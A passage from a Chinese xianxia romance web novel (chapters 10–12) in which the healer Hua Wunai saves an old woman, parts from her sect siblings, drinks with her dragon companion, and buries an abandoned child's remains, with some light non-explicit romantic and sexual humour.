欧阳久久这么想着,面无表情地移开了视线,看向大门。
突然,院门被人猛地推开。
一个全身罩在黑色斗篷里的人走了过来。
欧阳久久立刻迎上前去:“如何?”
来人摘掉风帽,露出一张雪白的小脸。
她点了点头,黑漆漆的瞳仁亮得吓人。
欧阳久久不由地松了一口气。
沈清昀收回灵力。
奈奈大步上前,也顾不得地上脏,单膝跪在地上,素白若雪的手指在赵大娘的颈侧脉:“要是想救她,你们赶紧回屋。
赵旺一听母亲有救,抱着闺女赶紧回屋去。
清了场,奈奈深吸一口气,捏着赵大娘干瘪的下颏,把已经炼成乳白色药水的仙凝草小心地滴进她口中。
一股沁人心脾的清香弥漫整个院子。
滴了五六滴后,她把剩余的珍贵药水收起来,指尖点在赵大娘眉心处,凝结出一点银色的圆点。
她的医术是离开师门后学的,欧阳久久还是第一次看见她治病救人,忍不住盯着她瞧。
很快地,那银白圆点慢慢扩散,直至将赵大娘整个地罩在其中。
修士的五感比正常人强千百倍,欧阳久久甚至听见了赵大娘体内僵化的血管犹如冬雪融化,开始汩汩流动的声音。
就连那些碎掉的骨骼,也开始迅速地粘合祝福,发出破冰一般的声音。
是生机。
这个过程足足持续了两个时辰,赵大娘的面色越来越红润,而奈奈的面色却越来越苍白,一张脸在白光里模糊不清。
欧阳久久和沈清昀二人面色凝重。
动用灵力医人,很耗损自己的修为。
好在这时,奈奈收回了手,银光碎成银片,转瞬间消失不见。
她强撑着站起身。
这时赵旺和大宝一块跑了出来,眼巴巴地望着她。
奈奈轻声说:“她已经没事,只是年纪大了,得多静养几天。”
赵旺听了这话,立刻拉着闺女跪下向她重重嗑头,感激地话一句也说不出来,鼻涕眼泪横流。
奈奈头晕眼花,实在扶不了他,也不拦着,从袖子里取出一瓶药递给他:“每天给小宝吃一粒,强身健体的。”
又交代了几句,背起地上的箱箧,看也没看欧阳久久和沈清昀,步伐沉重地朝外走去。
脚刚卖出门槛,一股子腥甜从嗓子眼涌了出来,身子晃了晃。
沈清昀眼疾手快,一把扶住她,要替她查看。
温热的指尖刚触碰到奈奈的手腕,奈奈抽回自己的手,强行把喉头的腥甜咽回去:“我没事,“回去养两天就好了。”
她说的是实话。
医治这种致命伤,需要以灵力炼化药物,这对于一个医修来说,是再正常不过的操作。
可她的脸色实在太没有说服力,欧阳久久一把握住她的手腕,想要替她检查。
奈奈眨眨眼:“大师姐该不会趁人之危吧?”
果然,欧阳久久一听这话,立刻甩开她的手腕,一脸不屑:“你当我是你!”
奈奈不置可否,继续向前走。
她并没有回家,而是朝城里的方向走去。
欧阳久久和沈清昀也和她一起走。
本来就是顺路,奈奈也不可能不让人家回去。
只不过她一路都很沉默。
一来是累,不想说话。二来是大家多年不见,也不知道该说什么好。
她突然有些想念小龙精。
也不知道为什么,她每次对着小龙精,总有说不出的话。
无论再难以启齿的话,都愿意说给“他”听。
她走得很慢,他们两个为了迁就她,也走得极慢。
三人抵达城里时,已经傍晚,暮色四合。
行至西街大桥时,奈奈说:“我要去望江楼买酒,咱们不顺路,就此别过吧。”
欧阳久久蹙眉:“你不和我们一起?”
奈奈轻轻摇头:“我这几年自由惯了,不想被束缚。”顿了顿,又说:“我知道大师姐和二师兄有任务在身。”
起初她真以为欧阳久久和她过不去才找来的,直到看见沈清昀。
沈清昀成熟稳重,凡事以大局为重,绝不可能特地和欧阳久久来寻她。
欧阳久久碰巧撞见她而已。
欧阳久久冷冷道:“我们两个确实有任务在身。师尊说极渊之地的结界撑不了多久了,一旦结界打开,恶龙梵雪就会带领憋了五百年的魔众把人间荡成炼狱。我们这次出来的任务就是搜寻灵曦之石的碎片,诛杀梵雪。还有你,你也得去。”
奈奈愣住。
从灵曦之石出现的那一刻,她就猜测到人间可能不太平了,没想到会这样。
不过这和她有什么关系。
且不说她都不确定自己还能活几天,就她那点灵力修为,连靠近梵雪的机会都无。
她拒绝:“劳烦大师姐回去和师尊他老人家说一声,就说……我已经死于非命,下辈子再报他老人家的养育之恩。”
“花无奈!”
欧阳久久瞪她,一副恨铁不成钢的样子。
奈奈摸摸鼻子:“我真得走了,我家里有人等我。”
她说这话的时候,一直没什么表情的沈清昀微微蹙眉。
奈奈低下头,脚尖有一下没一下踢着桥墩。
欧阳久久牙齿磨得咯吱作响,好一会儿从牙缝里憋出一句话:“花无奈,你迟早一天非死在男色上!”
奈奈淡淡笑了一下:“人各有志,咱们就此别过,后会有期。”不等二人说话,飞速下了桥。
直到走到对面,她还是没忍住,回头朝桥上望去。
云上城没有宵禁,还没入夜,桥两旁的铺子门前的一排排大红灯笼点亮了这座不夜都。
红彤彤的暮色里,一袭紫衣的少女双手叉腰,在桥上走来走去,脑后的马尾快要飞起来,显然气坏了。
而身量颀长的蓝衣男子抱臂靠在桥墩,微微低头,不知在想些什么。
奈奈想起很多年前,三个人夜里偷跑下山小镇玩。
小镇有一座很长的拱桥,三个人拿着酒坐在桥上喝酒赏月。
她和欧阳久久为了争论谁的酒量更好而打了起来。
说起来可笑,她俩都是三杯倒。
两个人从桥头打到桥尾,酒量最好的二师兄吹笛为她们助兴。
早就不是一个世界的人了。
奈奈心想。
刚才的那段路,也是他们共同走的最后一段路了。
沈清昀突然朝她望来。
她心里一颤,赶紧收回视线,加快脚步朝
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望江楼走去。
龙兄帮了她这么大的忙,她得好好犒劳犒劳他。
这个时辰刚好是晚饭时分,街道两旁的酒肆,茶肆热闹极了。
空气中弥漫着各种食物的香味,馋得奈奈直咽口水。
从望江楼买完酒出来时,奈奈实在饿得不行,去旁边的铺子买烧饼。
和她一起等的还有一家三口,两三岁大的小姑娘骑在男人的肩上,而男人则不顾旁人的目光,紧紧地牵着妻子的手。
一家人有说有笑,幸福洋溢。
多热闹的一座城啊。
奈奈拿了烧饼,朝城外赶去。
越往前走,天色越暗,行人也越来越少。
到家时已经很晚,奈奈轻轻地推开了房门。
屋子里静悄悄。
她点了灯。
橘色的暖光照亮了屋子。
奈奈行到床边,一掀开蚊帐,只见小龙精盘踞在床里侧。
“龙兄,你睡了吗?”她轻轻地问。
小龙精掀开眼皮,银瞳里映入一张笑脸。
她把手里的两坛子酒献宝似地捧到他面前,“赵大娘已经好了,我请龙兄喝酒!”
他没有看酒,冰冷的眸光落在她苍白若雪的面颊。
她摸摸脸,笑:“耗费了一点儿精力而已,别担心我,来,咱们喝酒!”
家里没有酒具,奈奈干脆拿了两个碗,和小龙精席地而坐。
她倒满一碗酒推到小龙精面前,又给自己倒了一小碗。
几口酒下肚,她雪白的面色浮起一抹薄红,气色看起来好了不少。
奈奈问: “龙兄,你有没有想过去九洲看一看?”
她想,她非常理解赵澜生,踏进了那个世界真的很难回头。
可那扇曾经对她打开的门,再次紧紧闭上,等待她的是不确定的死期。
原本她以为就要在这座城了此残生,可他们为什么要出现呢?
小龙精听了这话,一副不感兴趣的样子,一味喝酒。
奈奈也跟着一块喝。
她一喝酒,就容易说心里话:“我来自九洲一个叫尘徽宗的道门,龙兄应该听说吧?那是九洲四大宗之一。别看我现在这样,我从前很厉害的。”
他看了她一眼。
她冲他笑了一下,“看不出来吧?也对,很多人都看不出来,在我手底下吃过亏。”
她又说:“其实更早以前,我来自另买一个世界,和这里完全不一样的世界。那时候我体弱多病,和哥哥相依为命。突然有一天,我哥哥不见了。又过一段时间,我死了,之后被一个叫009的系统带到了这儿。他说,只要我完成任务,就让我和哥哥重逢。”
她一直说个不停,说赵大娘,说城里的风景,说九洲的瑰丽,声音很欢快,可眼尾越来越红,也许是酒熏的。
她不胜酒力,才半碗酒,人已经醉得一塌糊涂,抱着枕头躺在地上,醉意氤氲的漆黑看向房梁。
一抹高大的雪白虚影取代了龙的位置,端起瓷碗。
那粗糙的瓷碗沾了那只手的光,仿佛成了举世名器。
“好孤独啊龙兄。”
看不见他的少女长叹一声, “人生真是寂寞如雪……”
就这样英年早逝,真的好不甘心!
什么死在男色上,她连男人的小手手都没碰过好嘛!
欧阳久久总以为很了解她!
她坐起来,抚摸着怀里的枕头:“龙兄,我有一个小小的愿望,你能不能帮我实现?”
他抿了一口酒,猜测她这回是想要糖葫芦还是糕点时,忽然听到她和枕头悄悄地说:“龙兄,我想要男人!”
他手顿了一下,碗里的酒洒了些许,打湿了洁白的指骨。
他看向她。
她脸红扑扑的,耳尖也有些红,长睫低垂,秀气的鼻尖沁出点点的汗,嫩红的唇被酒液染得亮晶晶,神情有些孩子气,暖软如糖饴。
她认真地掰着细白的手指:“我想要一个高大,威猛,温柔体贴,容貌冠绝九洲……嗯,活好的男人!”
“龙兄,你能帮我实现吗?”
她嘟嘴亲了一口枕头,“能吗?”
11. 第 11 章
他听说过很多的愿望。
关于权利,地位,复仇……
那些卑劣不堪的人类不惜把自己的灵魂献祭给他,以满足自己的私欲。
像需要男人的愿望,他倒还是头一回听到。
高大威猛,温柔体贴,容貌冠绝九洲,活还要好……
他认真思考了一下,放眼整个九洲,除了他,又有谁能够配得上这些要求。
但他曾以“无情”入道,对情爱并不感兴趣。
忽然,她向前倒去。
他顺移到她前方。
猝不及防,她倒在了他胸口。
他伸手去推她,反被她抱住腰。
“龙兄,我只有你了……”她小猫似的呢喃,呼出的气息搔弄他的下巴。
他仍坐在那儿喝酒,一直到酒坛里滴酒不剩,抱着怀里轻得如同一片云的少女站了起来,向那张窄得让人心烦的床走去。
“扑通”一声,奈奈从床上掉了下来。
好疼!
她迷糊地睁开眼,强烈的阳光透过窗棂洒了进来,刺得她眼睛有些疼。
天那么快就亮了?
宿醉醒来的少女捂着屁股,双眼迷蒙地看向床铺。
小龙精的身体大了两倍不止,银白如冰雕的龙体几乎占据了整张床。
昨夜小龙精爆血了?
她猛地清醒。
随即又觉得不对。
小龙精爆血的时候,全身滚烫,根本不能碰,更别说两人这样安然无恙地睡一夜。
她从地上爬起来,帮小龙精检查身体。
并没有什么异常,只是腹部下面的鳞片长开了,那两根大东西直挺挺地戳了出来。
龙也晨勃?
“居然能变这么大吗?”她惊讶不已,忍不住伸手戳了一下。
小龙龙还弹了一下。
奈奈又伸手去戳另一根,小龙精蓦然睁开眼,冷冷地盯着她。
奈奈倏地收回手,故作若无其事地看向桌子:“哎呀,快看,那里是不是少了什么东西?”
其实她只是随口一说。
她昨天醉得太厉害,根本不知道自己许了多么离谱的愿望,否则绝不会问这么傻的话。
毕竟他就算满足她的愿望,也不至于把一个男人放在盘子里,摆在桌上等她“享用”。
她拿眼角偷偷地瞟了一眼小龙精,谁知“他”正盯着自己瞧。
她立刻叫嚷着酒醒后头好疼啊,得去喝点醒酒药才行,说着趿鞋逃似的出了房门。
他垂下视线,看向自己那里,微微蹙眉。
奈奈发誓,她只是关心小龙精的身体,有那么一点点好奇,绝不是故意想要摸“他”那里!
偏偏每次都被抓个正着。
好在“他”被雷劈成这样,估计百八十年都不会变成人,不然丢脸死了。
好一会儿,脸上的热度终于消下去。
她如同平常一样洗漱,喂鸡。
“一家老小”照常热热闹闹地啄食。
她坐在大树下,托腮望向院子里的土坑。
这几天下雨,雨水把挖出来的土冲到了坑里,挖了就跟没挖一样。
她记得五十里外有一处海域,不如把小龙精放去海里。
还有“一家老小”也养在海边,也算托付给小龙精了。
免得她突然死了,没人管它们,被人捉去吃了。
小龙精虽然有些冷傲,但还是很好的。一个能够许愿的小龙精,能有什么坏心思呢。
奈奈拿起靠在墙根的铁锹,把坑边的土又填了回去,踩结实后,又把院子清扫了一遍,收拾好箱箧,准备去城里。
临出门前,她去和小龙精打招呼。
也不知道是不是她摸了不该摸的东西,已经恢复正常的小龙精看她的眼神怪异得很,让她感到脸红。
实在太羞耻了!
她都没敢进屋,就站在门口和“他”说话:“那个,我去城里啦,恐怕会回来很晚,龙兄你不用等我。”交代完,看也不看他,背起箱箧匆忙地出了门。
奈奈去了城东的庙街。
那儿是云上城最大的平民街,卖什么的都有。她找了半条街,终于找到了一家卖皮影的铺子。
卖皮影的掌柜听了她的要求,一脸茫然:“什么叫西游记?”
奈奈形容了老半天,掌柜的想象不出来。
奈奈和他要了纸笔。
一刻钟后,她把画好的图递给掌柜:“就照着这个形状剪。”
掌柜的制作了一辈子皮影,也没见过这么抽象的画,不过剪他还是会的。
他说:“您过几天来拿。”
原本打算明天离开的奈奈迟疑:“明天不行?”
掌柜摇头:“这个做出来很麻烦,至少得等后天。”
算了,也不差这几天。
奈奈交了定金,又去隔壁玩具店买了玩具,成衣店买了小孩的衣裳,鞋袜,帽子,顺便又拐去米粮铺给“一家老小”买小米。
买米的时候,她看着白花花的大米,突发奇想,要不和小龙精吃顿散伙饭吧。
于是她又买了一小块五花肉和一小把青菜,这才背着重重的箱箧出城。
路过望江楼时,她低下头,假装没有看见望江楼二楼的人,走得飞快。
“大师姐就这样一直守着她?”
“谁是你大师姐!”
欧阳久久转头瞪了一眼赵澜生,心里烦躁得不行。
她当然不可能一直守在云上城,师门昨天传来消息,仓镜已经感应到别的灵曦之石碎片的存在,只要确定好位置,她和沈清昀立刻就得走。
只不过走之前,她非得把花无奈一块弄走不可!
赵澜生也不恼,心想这俩人真是奇怪,一个明明长得明艳动人,但脾气暴躁,一点就着。
上一回,也是她让他把人请到家里来,把灵曦之石的密辛说给她听。
嘴巴上恨人家恨得牙痒痒,喊打喊杀,人都不在,还非要和对方比谁喝的更多。
喝吐了都不肯服输,非说别人偷偷把酒倒了,酒量肯定不如她。
可背地里又是给人家留酒楼最好的位置,又是在这儿盯梢,真让人费解。
另一个……
赵澜生瞥了一眼悠然吃茶,温雅如玉的沈清昀,
他每日品茶,赏花,且在字画上颇有造诣,写得一手好字,比他还像个富贵闲人。
不过更让他好奇的是刚刚那个长相又甜又乖的小医修。
这段时间,根据他俩谈话中,他隐约地知道,她是九洲非常出名的少年天才,天生具有圣骨。
如果说适合修行的凡人是万里挑一,而拥有圣骨的则是百万里挑一。
可她却改行做了医修,简直是暴殄天物……
换做是他,他非得把整个九洲搅得天翻地覆。
然后诛杀恶龙梵雪,把他赵澜生的大名刻在九洲的史册之上!
九洲的一切果然都让人向往啊!
赵澜生轻摇檀香扇,勾嘴一笑:“在下只是想问,二位想不想知道她买了什么?”
欧阳久久蹙眉:“你知道?”
赵澜生:“那当然,有钱能使鬼推磨。”说着,丢给一旁的茶博士一锭银子,“去打听打听她都买了什么?”
茶博士得了钱,欢天喜地地下了楼。
两刻钟后,满头大汗的茶博士去而复返,把奈奈买的东西像报菜名一样事无巨细地报了一遍。
欧阳久久一听就知道花无奈要做什么。
她沉默片刻,说:“既然有钱能使鬼推磨,那你就帮我办一件事。办好了,我替师尊收你为关门弟子。”
赵澜生
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立刻来了精神:“什么事儿?
欧阳久久眸光闪烁:“帮我找一副骸骨。”
这回,花无奈非得求她不可!
*
奈奈到家时已经傍晚,暮色笼罩着寂静的小院。
一推开门,“一家老小”围了上来,叫唤不停。
奈奈忙把相箧放在石桌上,从中拿出小米洒在地上后,对盘踞在桌上的小龙精笑眯眯地说:“今晚我下厨,给龙兄你做红烧肉。”说完,提着菜去了厨房。
洗锅,淘米,洗青菜,切肉,每一个步骤,她都按照记忆中来做。
不一会儿的功夫,沉浸在暮色里的厨房上空升起袅袅炊烟,有了几分烟火气。
他朝厨房的方向看了一眼。
暗沉沉的屋子里,身形纤细的少女挽起袖子,手持锅铲,奋力地翻炒着什么。
很快地,空气中弥漫着奇异的味道。
她慌慌张张地跑出来舀了一瓢水回去,兹一声响,有些焦臭的气味飘出厨房。
过了一会儿,她端着一碟黑乎乎的东西出来,左右看了一眼,偷偷地倒出墙外,然后又跑回厨房去。
大约过了半个时辰的功夫,满脸黑烟的少女端着一碟子行到石桌旁。
“龙兄,尝尝我特地为你做的红烧肉,我可是很辛苦才做了出来呢。”她夹了一筷子殷勤地送到他嘴边,“啊,张嘴。”
他扫了一眼碟子里黑糊糊的东西,一点儿要吃的意思也无。
她解释,“虽然不好看,但味道不错的,龙兄你尝尝看。”
他偏过脸。
“好吧。”她夹了一些给“一家老小”,笑,“你们尝尝看。”
“一家老小”立刻扑闪着翅膀跑了。
奈奈楞了一下,有些沮丧地垂下眼皮:“我是不是很失败?连个红烧肉都做得这么没有卖相,我以前看别人也这么做,也不知道为什么做出来会变成这个颜色,想给龙兄你做顿饭都做不好……”
他张开了嘴。
她漆黑的瞳仁顿时盈盈发亮,立刻挑了一块卖相更好的送到他嘴边。
待他咽下后,她一脸期待地问:“是不是看着不好看,味道还不错?”
他没什么反应。
她又试探性夹了一块送到他嘴边:“那,再吃一块?”
就在她手都举累的时候,他又张开了嘴。
于是一碟子黑糊糊的红烧肉有一半进了他的胃。
她惊喜:“没想到我第一次做,龙兄你那么喜欢吃!”
他神情恹恹地偏过脸。
奈奈高高兴兴地去洗碗了。
饭后,她洗完澡,坐在院子里赏月。
也不知道是不是错觉,她总觉得小龙精今天看她的眼神非常奇怪。
他一定在心里觉得她是个色坯子吧。
她原本想要和小龙精说一说要送“他”去海域的事儿,思来想去,又觉得现在不大合适。
主要是她自己不想说,她舍不得“他们”。
算了,还是等走的时候再说吧。
她长长地叹了一口气,回屋睡觉去了。
这天夜里,她辗转反侧,唉声叹气,一直到后半夜才睡着。
第二天一大早,天不亮她就起床了。
他看她一眼,她一边穿衣裳,一边说:”我今天要上山,可能很晚才回来。”说完,她出门去了。再回来时,果然已经傍晚,浑身的泥。
他盯着她瞧了好一会儿,她并没有像往常那般解释去了哪儿,垂头丧气地去了药庐。
临睡前,她期待的眸光若有似无地扫过桌子,好像那儿应该有点什么。
第三天,她照常出门去了。
快到傍晚时,她又满身尘土回来了。
不过这回她不是一个人,还有一个极其普通的男人。
是个书生。
12. 第 12 章
“多谢你送我回来!”
奈奈一脸感激地望着面前眉目清隽的年轻书生。
她没想到云上城还有长得这么好看的书生,关键心地也很好。她刚刚在山上挖寻骸骨时,险些滚下山,是他拉住了她。
还非要送她回家。
其实她一点儿也没事,哪里需要人送。他说他住在云上城里,给人做西席先生,刚去山里探望亲戚回来,现在就要回城去,刚好与她顺路。
她住在山脚下,两里外就是出城的官道,于是也就没拦着。
毕竟谁能拒绝与长得这么好看文雅的小哥哥同行呢。
她模样生得实在太乖,书生并不知她的身份,好心提醒:“女孩子一个人上山很危险,最好找个人陪着。”
奈奈也没有解释,弯弯眼睛,“我会注意的。”
书生也淡淡笑了一下,向她告辞,往城里那条路的方向去了。
直到那抹青色的清瘦身影消失在官道,奈奈才收回视线,一回头,对上一双冰冷的银瞳。
奈奈吓了一跳:“龙兄几时出来的?”
“他”怎么用这样的眼神看她,这种感觉就好像出轨被丈夫当场捉奸一样。
啊呸,这是什么破比喻!
她是人,就算小龙精能够幻化人形,那他们也是有生殖隔离的,至少是心理上的。
一想到龙有两根那么大的东西,啧啧,可怕!
奈奈放下相箧走到井边,一边打水洗手洗脚,一边把遇见书生的事儿和“他”说了一遍。
说完,这几天总是垂头丧气的少女忽然回头冲他笑了一下,有些腼腆:“龙兄,你有没有觉得他长得特别好看?”
“我觉得他一看就是那种,怎么说呢,就是非常适合居家过日子。他穿围裙的样子一定很好看!在我们女孩子的眼里,男人就应该出得厅堂,入得厨房!”
“我就想要一个那样的男人!”她直勾勾地望着他说。
他微微眯起眼睛。
她要求越来越多了!
翌日。
奈奈天不亮就出发去城里取皮影。
掌柜的虽然不会画,但是皮影的手艺却极好。
奈奈非常地满意,付了剩下的钱,也不耽搁,拿了东西就出城去了。
对面茶楼二楼的欧阳久久盯着那抹越来越远的黑色身影:“骸骨挖到了吗?”
赵澜生颔首:“我发布了一个价值五百两的悬赏令,那些人按照大师姐说的孩子特征,翻遍了整座城,终于找到了那孩子的家里人。然后根据他家人提供的线索,在一处山坳里挖到的。”
“说起来那孩子也够可怜的,生下来左脚便有残疾,不受父母喜欢。养到两三岁上,他父母又生了一个健康的儿子,再加上他又生了一场重病,于是就把他抱在山上自生自灭。哦,对了,他叫小豆儿。”
欧阳久久听得眉头紧皱:“把骸骨给我。”
赵澜生身边的侍从忙把一个一尺见方的檀木箱子递上前。
欧阳久久拎着箱箧,招呼都没打,从窗口跳了下去。
赵澜生往下看了一眼,啧啧两声,看向沈清昀:“二师兄不去瞧瞧?”
还没入门,一句“二师兄”叫得亲热丝滑。
沈清昀抿了一口茶:“她们说话的时候,我最好不要在场。”顿了顿,又提醒,“如果碰见她们吵架,你一定要躲得越来越远,千万别劝。”
赵澜生不解:“为何?”
沈清昀淡淡一笑:“以后你就知道了。”
赵澜生又忍不住打量他一眼。
他这个人,总是给人一种说不出的感觉。像大师姐那种火爆脾气的女孩子到了他跟前,也发不出半点脾气。
赵澜生好奇:“二师兄是不是有红多红颜知己?”
沈清昀愣了一下,随即摇头:“女孩子都不喜欢我,总喜欢和我打架。”
赵澜生诧异不已。
女修士的眼光居然这么高吗?
也不知道像他这种有钱又有情趣的男人有没有市场?
*
一只红彤彤的小鸭子放在一个刚挖出来的小土坑旁边。
紧接着是一套小孩的衣裳,一顶虎头帽,一双小鞋子,还有一些男孩子爱玩的玩具。
只可惜她几乎找遍了整座山都没能找到婴灵的骸骨,就连想要帮他超度都没办法。
她只能在遇见他的密林里找了一处风水宝地,给他做个坟。
她刚要把东西放进坑里,身后传来极轻的脚步声。
奈奈不用回头就知道是谁。
一个紫檀木箱子放在她面前。
奈奈抬起脸,一脸惊讶地看向欧阳久久:“这是什么?”
欧阳久久在她身旁蹲下,“既然要做法事,总得有骸骨才行。”
奈奈的瞳仁亮得吓人:“这是他的骸骨?大师姐是怎么找到的?”
欧阳久久最讨厌花无奈的眼睛。
第一次见面她就讨厌。
只到她鼻尖的小女孩顶着一张人畜无害的脸,一对比寻常人黑的眼睛眨啊眨,声音甜得掉牙:“小姐姐你好啊,我叫花无奈,你可以叫我奈奈!”
欧阳久久还以为她是误入师门的小白兔,虽然她天生烦这种没有自保能力的人,可还是忍不住想要关照她。
因为她看起来实在太弱了,脸色苍白得没有一点儿血色,像个易碎的瓷娃娃。夜里打个雷,都要躲在被窝里瑟瑟发抖。
她是强者。
强者天生就应该关爱弱者。
小白兔就应该被她呵护在羽翼之下,更何况小白兔那么信赖她。
直到三天后测试根骨,那只整天跟在她屁股后面“姐姐长”“姐姐短”的小白兔点爆了苍镜。
苍镜是道门的镇山之宝,功能之一便是替每一个入门弟子评测资质,就连她这种从小被夸到大的“天才”,也只是让苍镜红温而已。
小白兔拥有圣骨。
她至今记得那场面,整个尘徽宗都沸腾了,全都来看小白兔。
那可是圣骨啊,是真正的天才。
对于这种人来说,修行就像呼吸睡觉一样简单。
偌大的九洲,拥有圣骨的也不超过十个人,其中一个是五百年前亲手养大恶龙梵雪,最后却被梵雪剥皮抽骨的明光道尊。
至于其他的几个,至今也都是九洲受人敬仰,地位超然的存在。
从那天开始,小白兔晋升为她的对手。
可偏偏就是这种最该献身于苍生大道的天才,居然躲在这里做一个小医修!
她自作主张替师尊收了那个八卦且没有任何根骨的赵澜生,就是为了让花无奈求她。
花无奈在某些方面执拗得可怕,心软得让人想要打死她。
她笃定花无奈一定会为了小豆儿的骸骨妥协。
可她看着这对讨人厌的眼,酝酿了一路的威胁的话怎么都说不出口了。
可恶!
欧阳久久在心里把那只蹦蹦哒哒的小白兔狠狠地揍了一遍,面无表情地把小豆儿的身世来历说了一遍。
她听后沉默了还一会儿,小声地说:“原来他叫小豆儿。”
欧阳久久打开了箱子。
一副孩子的骨架静静地躺在铺了白色生丝的箱底,其中有一只腿的骨头很明显比另外一条腿骨短了些。
奈奈把买来的衣裳鞋袜帮他小心地穿好,最后和玩具一起放进紫檀木箱子里。
埋好后,她又点了香烛等物。
有骸骨,便还有投胎做人的机会。
两个人帮小豆儿做了一场法事。
但愿他下辈子投胎,能够有一副健全的身体,一对爱他的父母,免他苦,免他忧,平安喜乐,顺遂一生。
结束后,奈奈拿着那副皮影继续那天未完的故事。
欧阳久久坐在一旁听得认真。
故事讲完,已经是一刻钟以后的事儿,奈奈点燃了皮影。
皮影是牛皮做的,有些不易燃,还是欧阳久久加注了些许灵力助燃。
火舌很快吞噬了皮影,空气中弥漫着焦臭与香烛的气息。
奈奈一边收拾东西,一边问:“师尊老人家还好吗?”
欧阳久久回答:“又闭关去了。你是知道他的,一年三百六十五天,有三百天六十天用来怀念师母。”
九洲无人不知,尘徽宗的道尊因为魔尊梵雪而痛失爱侣,几乎闭门不出。要不是因为梵雪的缘故,他根本不会收徒。
奈奈“嗯”了一声,背起箱箧:“那我回家了。”
欧阳久久拦住她:“你说,你究竟怎样才跟我们走?”
花无奈实在想不通她为什么非得要自己和她走,沉默了一会儿,说:“那大师姐不如把二师兄绑了送我床上吧!”
欧阳久久闻言,像是被马蜂蛰了一下,咬牙:“花无奈,你还要不要脸!”
奈奈一脸无辜:“是大师姐
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非要问我要什么。”
欧阳久久瞪她一眼,怒气冲冲地转身离开。
奈奈原地站了好一会儿,垂头丧气地向山下走去。
她想待会儿回去和小龙精聊一聊关于去海边的事儿,如果“他”同意,她明天就出发。
谁知一回到家,远远地看见赵大娘站在门口。
仙凝草不仅能够骨骼再生,还有延年益寿,强身健体的功效。
赵大娘原先挺不直的背也好了,整个人都年轻了不少。
赵大娘一见到她人,就要下跪。
奈奈赶紧搀起她。
赵大娘拉着她的手泪眼汪汪说了一大堆感激的话,末了,又邀她明天去喝小宝的满月酒。
“花医师,你是我们全家的救命恩人,谁都不去你也得去!”她哽咽。
算了,再多留一天吧。
于是奈奈第二天晌午去了赵家。
她还是第一次来吃满月酒,没想到这么热闹,院子里全都是人,摆了五六张桌子,十几个小孩跑来跑去打闹,吵闹声简直要把屋顶掀翻。
大宝也在其中。
她穿了一套崭新的衣裳,干干净净的,和之前邋里邋遢的模样判若两人。
赵大娘一家子看到她来,高兴得不得了。尤其是赵大娘,绘声绘色地和亲戚们说自己怎么得救的事儿,把她夸成了神仙,众人看向奈奈的眼神里充满了敬畏。
奈奈笑眯眯听着,由她夸去。
她原先总是疑惑这小老太太明明过得很苦,怎么那么有精力。
现在她算是悟了,这个家就是她的一方天地,她是这天地里的王。
她为了她的家人冲锋陷阵,无所不能。
正说得热闹,一个青衣书生走了过来。
奈奈愣了一下,是他。
书生也没想到会遇见她,向她作了一揖,淡淡一笑:“原来姑娘就是表姑母口中的花医师。”
还不等奈奈开口,赵大娘的声音插了进来:“这就是我那秀才侄儿!”
奈奈心想,赵大娘倒没有夸大其词,这书生确实担得起”貌若潘安“四个字,就是不知道饭做的怎么样。
酒席吃到一半,奈奈想去小解,余氏赶紧要带她去。
奈奈从茅房出来的时候,余氏竟然还守在那儿,像是有话说。
因为大宝和婴灵的事儿,她对眼前这个妇人并没什么太大的好感。
余氏自然也知道。
她眼眶有些红,咬了咬唇,像是下定了什么决心,道:“花医师,人心都是肉长的,她拿命换我儿子。从今以后,她就是我余月娥的亲闺女!我要是对她不好,就让我不得好死!”说完这话,她本就不算白的脸红得滴血。
奈奈道:“我信你。”
余氏嘴巴张了张,低下头抹眼泪。
酒足饭饱后,奈奈起身告辞。
赵大娘扯着嗓门喊:“花医师,让我侄儿送你!”
奈奈看了一眼似乎也很乐意送她的书生,答应了。
她席上喝了一杯酒,人有些晕乎乎,一点儿不想说话。
好在书生记性好,还认得回她家的路,一路把她安全带回了家。
吹了一路的风,奈奈这会儿也清醒不少,见小龙精不在院子里,邀请他:“要不喝一杯水再走。”
书生应下来。
奈奈把人请到石桌旁坐下,朝屋子走去。
一抹雪白高大的虚影与她擦肩而过,在书生对面坐下,衣袖拂过桌面,一套冰雕的精致酒具出现在石桌上。
他给自己倒了一杯酒,看着她匆忙回了屋子,随即又走出来,一脸歉意:“我忘烧水了。”
书生笑了一下:“无妨,我就是想要进来坐一坐,花医师也坐下歇一歇吧。”
奈奈在白影右侧坐下。
她看不见他,胳膊枕在他衣袖上,整个人像是半倚在他怀里。
她又总觉得院子里还有一个人,正在偷听她和书生说话。
难道是小龙精?
自从那晚夜里喝醉酒后,小龙精看她的眼神越来越奇怪?
该不会是她酒后说了什么不该说的话,做了不该做的事?
可她又能对一条龙做什么呢?
她正走神,书生忽然从袖中摸出一张戏票:“若是花医师有空,不如一起去听戏吧?”
奈奈闻言,有些茫然地望向那张戏票。
他指骨一顿,眸光落在她眼睛上。